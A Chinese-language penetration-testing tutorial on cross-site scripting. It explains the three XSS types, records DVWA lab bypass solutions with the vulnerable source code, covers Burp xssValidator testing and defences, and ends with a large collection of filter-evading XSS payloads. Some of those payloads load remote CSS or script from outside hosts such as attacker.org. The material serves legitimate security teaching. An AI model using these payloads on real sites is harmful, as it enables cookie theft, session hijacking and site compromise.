渗透COP之XSS原理&测试案例

1.什么是XSS

跨站脚本(Cross Site ScriptingXSS)是一种经常出现在web应用程序中的计算机安全漏洞。攻击者利用网站漏洞把恶意的代码注入到网页之中。当其他用户浏览到这些网页后,就会执行其中的恶意代码,对受害用户可能采取cookie资料截取、会话劫持、钓鱼欺骗等各种攻击。

Cross Site Scripting, 安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,故称XSS

XSS实质是HTML代码与javascript代码的注入。

在测试团队发现漏洞类型中,XSS的发现率名列前四,是常见的漏洞类型。

常见的 XSS 攻击有三种:反射型XSS攻击、DOM-based 型XXS攻击以及存储型XSS攻击。

1.1反射型XSS攻击

1.1.1解释

反射型跨站脚本也称作非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见的,也是使用最广的一种,主要用于将恶意脚本附加到URL地址的参数中,例如:

http://www.test.com/search.php?key=”><script>alter(“XSS”)</script>

http://www.test.com/logout.asp?out=1&ur1=javascript:alert(document.cookie)

反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱惑用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。

反射型XSS的攻击流程如图所示:

此类XSS通常出现在网站的搜索栏、用户登入口等地方,常用来窃取客户端Cookies或进行钓鱼欺骗。

如下为反射型XSS的一个案例:当在该网站的姓名提交框内输入恶意的JavaScript脚本时,点击提交按钮,便出现了反射型XSS攻击,如图所示:

1.1.2通关记录

难度低:

<script>alert(/xss/)</script>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

难度中:

大小写绕过

<ScRipt>alert(/xss/);</ScRipt>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert%28%2Fxss%2F%29%3B%3C%2FScRipt%3E#

双写绕过

<scr<script>ipt>alert(/xss/);</script>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cscr%3Cscript%3Eipt%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E#

难度高:

其他标签

<img src=1 οnerrοr=alert(/xss/)>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#

编码后的其他标签

<img src=1 οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Deval%28%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%5Cx28%5Cx27%5Cx78%5Cx73%5Cx73%5Cx27%5Cx29%22%29%3E%3C%2Fimg%3E#

其他标签

<iframe οnlοad=alert(/xss/)>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Ciframe+onload%3Dalert%28%2Fxss%2F%29%3E#

编码后的其他标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cobject+data%3D%22data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4%3D%22%3E%3C%2Fobject%3E#

1.1.3相关代码(DVWA-master\vulnerabilities\xss_r\source):

难度低

<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Feedback for end user

$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?>

难度中

<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Get input

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user

$html .= "<pre>Hello ${name}</pre>";

}

?>

难度高

<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Get input

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','', $_GET[ 'name' ] );

// Feedback for end user

$html .= "<pre>Hello ${name}</pre>";

}

?>

难度为不可能

<?php

// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input

$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user

echo "<pre>Hello ${name}</pre>";

}

// Generate Anti-CSRF tokengenerateSessionToken();

?>

PHP htmlspecialchars()函数把预定义的字符转换为HTML实体:

& (和号)成为 &" (双引号)成为 "

' (单引号)成为 '//生效需要加 ENT_QUOTES 参数

< (小于)成为 <

> (大于)成为 >

1.2存储型XSS攻击

1.2.1解释

存储型跨站脚本,比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全。

此类XSS不需要用户单击特定的URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

存储型XSS的攻击流程如图所示:

持久型XSS一般出现在网站的留言、评论。博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码。

如下为存储型XSS的一个案例:当攻击者在留言框内输入恶意JavaScript代码并提交后,其他用户再浏览这个页面时,就会发生存储型XSS攻击,如图所示:

存储型XSS不需要用户去单击URL进行触发,所以他的危害比反射型XSS大,黑客可以利用它渗透网站、挂马、钓鱼……

1.2.2通关记录

简单:

<script>alert(/xss/)</script>

中等:

大小写绕过

<ScRipt>alert(/xss/);</ScRipt>

双写绕过

<scr<script>ipt>alert(/xss/);</script>

难:

其他标签

<img src=1 οnerrοr=alert(/xss/)>

1.2.3相关代码(DVWA-master\vulnerabilities\xss_r\source):

难度低

trim(string,charlist) 函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括\0、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。'

mysqli_real_escape_string(string,connection) 函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义。

stripslashes(string) 函数删除字符串中的反斜杠。

难度中

strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。

addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

难度高

难度不可能

1.3DOM-based 型XSS攻击

1.3.1解释

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

DVWA练习环境“易”“中”“难”练习过程记录:

1.3.2通关记录

简单:

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

中等:

发现过滤了<script”于是尝试

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=<img src=1 onerror-alert('hack')>

发现没有闭合,于是尝试

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert('hack')>

发现没有完全闭合,于是

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=></option></select><img src=1 οnerrοr=alert('hack')>

难:91

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=#<script>alert(/hack/)</script>

1.3.4相关代码(DVWA-master\vulnerabilities\xss_d\source):

页面源代码

<div class="vulnerable_code_area">

<p>Please choose a language:</p>

<form name="XSS" method="GET">

<select name="default">

<script>

if (document.location.href.indexOf("default=") >= 0) {

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

document.write("<option value='' disabled='disabled'>----</option>");

}

document.write("<option value='English'>English</option>");

document.write("<option value='French'>French</option>");

document.write("<option value='Spanish'>Spanish</option>");

document.write("<option value='German'>German</option>");

</script>

</select>

<input type="submit" value="Select" />

</form>

</div>

判断  "default=" 是否存在

取出 default 的值  并 赋值给变量lang

写入<option value='"lang"'>"decodeURL(lang)</option>

document表示的是一个文档对象,window.location.href 当前页面完整 URL。 indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。

substring() 方法用于提取字符串中介于两个指定下标之间的字符。如果少后参数那么返回的子串会一直到字符串的结尾。

document.write是JavaScript中对document.open所开启的文档流(document stream操作的API方法,它能够直接在文档流中写入字符串,一旦文档流已经关闭,那document.write就会重新利用document.open打开新的文档流并写入,此时原来的文档流会被清空,已渲染好的页面就会被清除,浏览器将重新构建DOM并渲染新的页面。

难度低

<?php

# No protections, anything goes

?>

难度中

服务端代码

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

$default = $_GET['default'];

# Do not allow script tags

if (stripos ($default, "<script") !== false) {

header ("location: ?default=English");

exit;

}

}

?>

页面源代码

select标签里面的option标签可以嵌套其它标签,但审查元素会发现标签被剔除了,只显示了标签里面的文本

  不能的原因,网上找到一个解释:

option标签在网页中并没有直接显示,而是作为下拉框的选项内容之一,

其样式是由当前浏览器决定的,所以option标签之间只会有文本内容

难度高

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages

switch ($_GET['default']) {

case "French":

case "English":

case "German":

case "Spanish":

# ok

break;

default:

header ("location: ?default=English");

exit;

}

}

?>

难度不可能

<?php

# Don't need to do anything, protction handled on the client side

?>

页面源代码

2.常见手工测试思路

1.测试所有可控输入点

XSS本身并不难防御,但是程序员总是有意想不到的输入点。“GET请求”要重点关注。

2.直接上常见的payload

XSS漏洞历史久远,网上有很多很好用的payload,可以拿来直接用。

反射型xss:<script>alert(1)</script>

DOM型xss:<img src=123 οnerrοr=alert(123)>

3.尝试特殊字符

例如:< >  / <!-- -->

4.对常见payload编码后使用

针对 <script>alert(1)</script>

URL编码

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e

HTML实体编码

<script>alert(1)</script>

BASE64编码

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Unicode 编码

3.XSS检测工具的使用

3.1burpsuite扩展工具之xssValidator

安装和使用方法

https://blog.csdn.net/u013175604/article/details/84841268

3.1.1安装xssValidator必备三件套

检查是否安装有Phantomjs,是下载xss.js

Extender 里BAppstore 点击install xssValidator

3.1.2使用xssValidator基本方法

使用该工具演示下使用的过程。

步骤一:

Cmd下执行xss.js 打开监听

步骤二:

抓一个数据包,送到intruder。然后在intruder的payloads做如下设置,选择扩展里面的xssvalitor。

鉴于如上方法使用效果一直不太好。我一般喜欢把下面几个payload的关键词直接导入到Grep-Match。

步骤三:

点击start attack,对result里的Grep-Match排序。对关键词打钩和响应字体标色的行作为重点关注对象注意观察cmd窗口,是否有测试HTTP包快速打印。

3.1.3使用xssValidator测试结果

3.1.3.1用DVWA(ref-mid)做XSS检测结果:

3.2xssValidator使用体会:

目前本组近期所有渗透测试出来的XSS问题,burpsuite scanner 和xssValidator两种方法都是可以找到的。burpsuite scanner因为批量检查速度快,我使用的更多。未有发现xssValidator更优越的例子。但是xssValidator和intruder是结合一起用的,可定制化更强。

XSS漏洞的测试手工必不可少,工具只是辅助。

4.XSS防御主要方法

XSS 存在的根本原因是,对URL中的参数,对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序中,对用户提交的URL中的参数,和提交的所有内容,进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用户的浏览器中执行攻击者自己定制的脚本”。

但是,其实充分而完全的过滤,实际上是无法实现的。因为攻击者有各种各样的神奇的,你完全想象不到的方式来绕过服务器端的过滤,最典型的就是对URL和参数进行各种的编码,比如escape, encodeURI, encodeURIComponent, 16进制,10进制,8进制,来绕过XSS过滤。那么我们如何来防御XSS呢?

使用XSS Filter

对用户提交的信息进行有效的验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略此外的其他任何数据。此外,还需过滤有效的和净化有害的输入。

例如:

表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。

过滤或移除特殊的 html 标签:<script>、<iframe>等。

过滤 js 事件的标签:onclick、onerror、onfocus等。

对输出进行编码

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。如果使用好的话,理论上是可以防御住所有的XSS攻击的。

对所有要动态输出到页面的内容,通通进行相关的编码和转义。当然转义是按照其输出的上下文环境来决定如何转义的。

a)作为body文本输出,作为html标签的属性输出:

比如:<span>${username}</span>, <p><c:out value="${username}"></c:out></p>

<input type="text" value="${username}" />

此时的转义规则如下:

< 转成 <

> 转成 >

& 转成 &

" 转成 "

' 转成 '

b) javascript事件

<input type="button" οnclick='go_to_url("${myUrl}");' />

除了上面的那些转义之外,还要附加上下面的转义:

\ 转成 \\

/ 转成 \/

; 转成 ;(全角;)

c) URL属性

如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。

确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。

使用Http Only cookie

许多 XSS 攻击的目的就是为了获取用户的cookie,将重要的 cookie 标记为http only,这样的话当浏览器向服务端发起请求时就会带上cookie字段,但是在脚本中却不能访问 cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie。

5.XSS payload大全

收集的一些XSS payload,主要分为五大类,便于查阅。

第一类:Javascript URL

<a href="javascript:alert('test')">link</a>

<a href="javascript:alert('xss')">link</a>

<a href='vbscript:MsgBox("XSS")'>link</a>

<a href="vbscript:alert(1)">Hello</a>

<a href="vbscript:alert(1)">Hello</a>

<a href=javascript:alert("XSS")>link</a>

<a href=`javascript:alert("RSnake says,'XSS'")`>link</a>

<a href=javascript:alert(String.fromCharCode(88,83,83))>link</a>

<a href="javascript:alert(1)">link</a>

<a href="javaSCRIPT:alert(1)">Hello</a>

<a href="javasc ript:alert(1)">link</a>

<a href="javas cript:\u0061lert(1);">Hello</a>

<a href="jav    ascript:alert('XSS')">link</a>

<a href="jav ascript:alert('XSS')">link</a>

<a href="jav ascript:alert('XSS')">link</a>

<a href="  javascript:alert('XSS');">link</a>

<a href="javascript:\u0061lert(1)">Hello</a>

<a href="javascript:confirm`1`">link</a>

<a href="javascript:confirm(1)">link</a>

<a href="j a vas c r ipt:alert(1)">1</a>

<a href="javascript:%61%6c%65%72%74%28%31%29">link</a>

<a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a>

<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>

<a href=javascript:eval("alert('xss')")>link</a>

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>link</a>

<a href=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>link</a>

<a href=javascript:alert('XSS')>link</a>

<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a>

<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a>

<iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

第二类:CSS import

<style>@import url("http://attacker.org/malicious.css");</style>

<style>@imp\ort url("http://attacker.org/malicious.css");</style>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<STYLE>@import'http://jb51.net/xss.css';</STYLE>

第三类:Inline style

<div style="color: expression(alert('XSS'))">

<div style=color:expression\(alert(1))></div>

<div style="color: '<'; color: expression(alert('XSS'))">

<div style=X:expression(alert(/xss/))>

<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">

<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">

<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<div style="z:exp/*anything*/res/*here*/sion(alert(1))">

<div style=xss:expr/*XSS*/ession(alert('XSS'))>

</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>

</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.baidu.com")>

<img STYLE="background-image:url(javascript:alert('XSS'))"> //ie6

<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">

<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

第四类:JavaScript 事件

<div οnclick="alert('xss')">

<div οnmοuseenter="alert('xss')">

<div onclick ="alert('xss')">

<BODY ONLOAD=alert('XSS')>

<img src=1 οnerrοr=alert(1)>

<img/src='1'/οnerrοr=alert(0)>

<img src="1"οnerrοr="alert(1)"/>

<img src=1alt=al lang=ert οnerrοr=top[alt+lang](0)>

<img src="1"οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

<img src=1οnmοuseοver=alert('xss') a1=1111>

<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>

<a href="#"οnclick=alert('\170\163\163')>test</a>

<a href="#"οnclick="\u0061\u006C\u0065\u0072\u0074(1)">link</a>

<a href="#"οnclick="\u0061\u006C\u0065\u0072\u0074`a`">link</a>

<a href="#"οnclick="alert('xss')">link</a>

<marquee οnscrοll=alert(1)> test</marquee>

<div  style="width:100px;height:100px;overflow:scroll"οnscrοll="alert('a')">123456<br/><br/><br/><br/><br/></div>

<DIV onmousewheel="alert('a')">123456</DIV><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>

<div style="background-color:red"οnmοuseenter="alert('a')">123456</div>

<DIV οnmοuseleave="alert('1')">123456</DIV>

<div contentEditable="true"style="background-color:red"οnfοcusin="alert('a')">asdf</div>

<div contentEditable="true"style="background-color:red"οnfοcusοut="alert('bem')">asdf</div>

<marquee onstart="alert('a')">asdf</marquee>

<div style="background-color:red;"onbeforecopy="alert('a')">asdf</div>

<div style="background-color:red;"onbeforecut="alert('a')">asdf</div>

<div style="background-color:red;"contentEditable="true"onbeforeeditfocus="alert('a')">asdf</div>

<div style="background-color:red;"="true"onbeforepaste="alert('a')">asdf</div>

<div style="background-color:red;"οncοntextmenu="alert('a')">asdf</div>

<div style="background-color:red;"οncοpy="alert('a')">asdf</div>

<div contentEditable="true"style="background-color:red;"oncut="alert('a')">asdf</div>

<div style="background-color:red;"οndrag="alert('1')">asdf</div>

<div style="background-color:red;"οndragend="alert('a')">asdf</div>

<div style="background-color:red;"οndragenter="alert('b')">asdf</div>

<div contentEditable="true"style="background-color:red;"οndragleave="alert('a')">asdf</div>

<div contentEditable="true"style="background-color:red;"οndragοver="alert('b')">asdf</div>

<div contentEditable="true"style="background-color:red;"οndragstart="alert('a')">asdf</div>

<div contentEditable="true"style="background-color:red;"οndrοp="alert('b')">asdf</div> <div contentEditable="true"style="background-color:green;"οndrοp="alert('bem')">asdf</div>

<div contentEditable="true"style="background-color:red;"onlosecapture="alert('b')">asdf</div>

<div contentEditable="true"style="background-color:red;"οnpaste="alert('a')">asdf</div>

<div contentEditable="true"style="background-color:red;"onselectstart="alert('a')">asdf</div>

<div contentEditable="true"style="background-color:red;"onhelp="alert('a')">asdf</div>

<div STYLE="background-color:red;behavior:url('#default#time2')"onEnd="alert('a')">asdf</div>

<div STYLE="background-color:red;behavior:url('#default#time2')"onBegin="alert('a')">asdf</div>

<div contentEditable="true"STYLE="background-color:red;"onactivate="alert('b')">asdf</div>

<div contentEditable="true"STYLE="background-color:red;filter: Alpha(opacity=100, style=2);"onfilterchange="alert('b')">asdf</div>

<div contentEditable="true"onbeforeactivate="alert('b')">asdf</div>

<div contentEditable="true"onbeforedeactivate="alert('a')">asdf</div>

<div contentEditable="true"ondeactivate="alert('bem')">asdf</div>

<video src="http://www.w3schools.com/html5/movie.ogg"onloadedmetadata="alert(1)"/>

<video src="http://www.w3schools.com/html5/movie.ogg"οnlοadstart="alert(1)"/>

<audio src="http://www.w3schools.com/html5/movie.ogg"οnlοadstart="alert(1)">

<audio src="http://www.w3schools.com/html5/movie.ogg"οnlοadstart="alert(1)"></audio>

<body οnscrοll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

<input type="hidden"accesskey="X"οnclick="alert(/xss/)">

第五类:Script 标签

<script src="http://baidu.com"></script>

<script>alert("XSS")</script>

<scr<script>ipt>alert("XSS")</scr<script>ipt>

<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>

<script>alert(/1/.source)</script>

<script>alert(1);</script>

<script>prompt(1);</script>

<script>confirm(1);</script>

<script>alert(/88199/)</script>

<script>alert(`a`)</script>

<script>alert('a')</script>

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<script>eval(alert(1))</script>

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script>setTimeout(alert(1),0)</script>

<script>setTimeout`alert\x28\x27 xss \x27\x29`</script>

<script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script src=data:text/javascript,alert(1)></script>

<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>

<script>\u0061\u006C\u0065\u0072\u0074(123)</script>

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

<script>\u0061\u006C\u0065\u0072\u0074`a`</script>

<script>window['alert'](0)</script>

<script>parent['alert'](1)</script>

<script>self['alert'](2)</script>

<script>top['alert'](3)</script>

<!--[if]><script>alert(1)</script     -->

<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>

<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

参考资料:

burp使用xssValidator插件

https://blog.csdn.net/u013175604/article/details/84841268

XSS payload大全

https://www.cnblogs.com/xiaozi/p/7268506.html

记一次跨站脚本攻击(XSS)实例

